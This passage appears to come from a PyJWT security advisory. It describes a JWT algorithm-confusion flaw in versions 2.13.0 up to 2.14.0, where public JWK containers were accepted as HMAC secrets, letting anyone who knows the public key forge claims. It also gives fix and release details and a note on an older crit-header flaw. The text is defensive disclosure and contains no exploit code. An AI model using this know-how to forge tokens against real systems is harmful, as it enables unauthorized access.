allows both HS and asymmetric algorithms; passes raw public JWK/JWKS JSON as key=; and uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.preparekey now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWT HMACAlgorithm.preparekey is affected because HMAC key guard only recognizes top-level public JWK forms and misses container representations. This occurs when an application allows HMAC and asymmetric algorithms and passes a public JWK container as the raw key. As a result, public asymmetric key material is accepted as the HMAC secret. Consequently, an attacker who knows the public key can forge a token with arbitrary authenticated claims. This issue is fixed in version 2.14.0.

PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.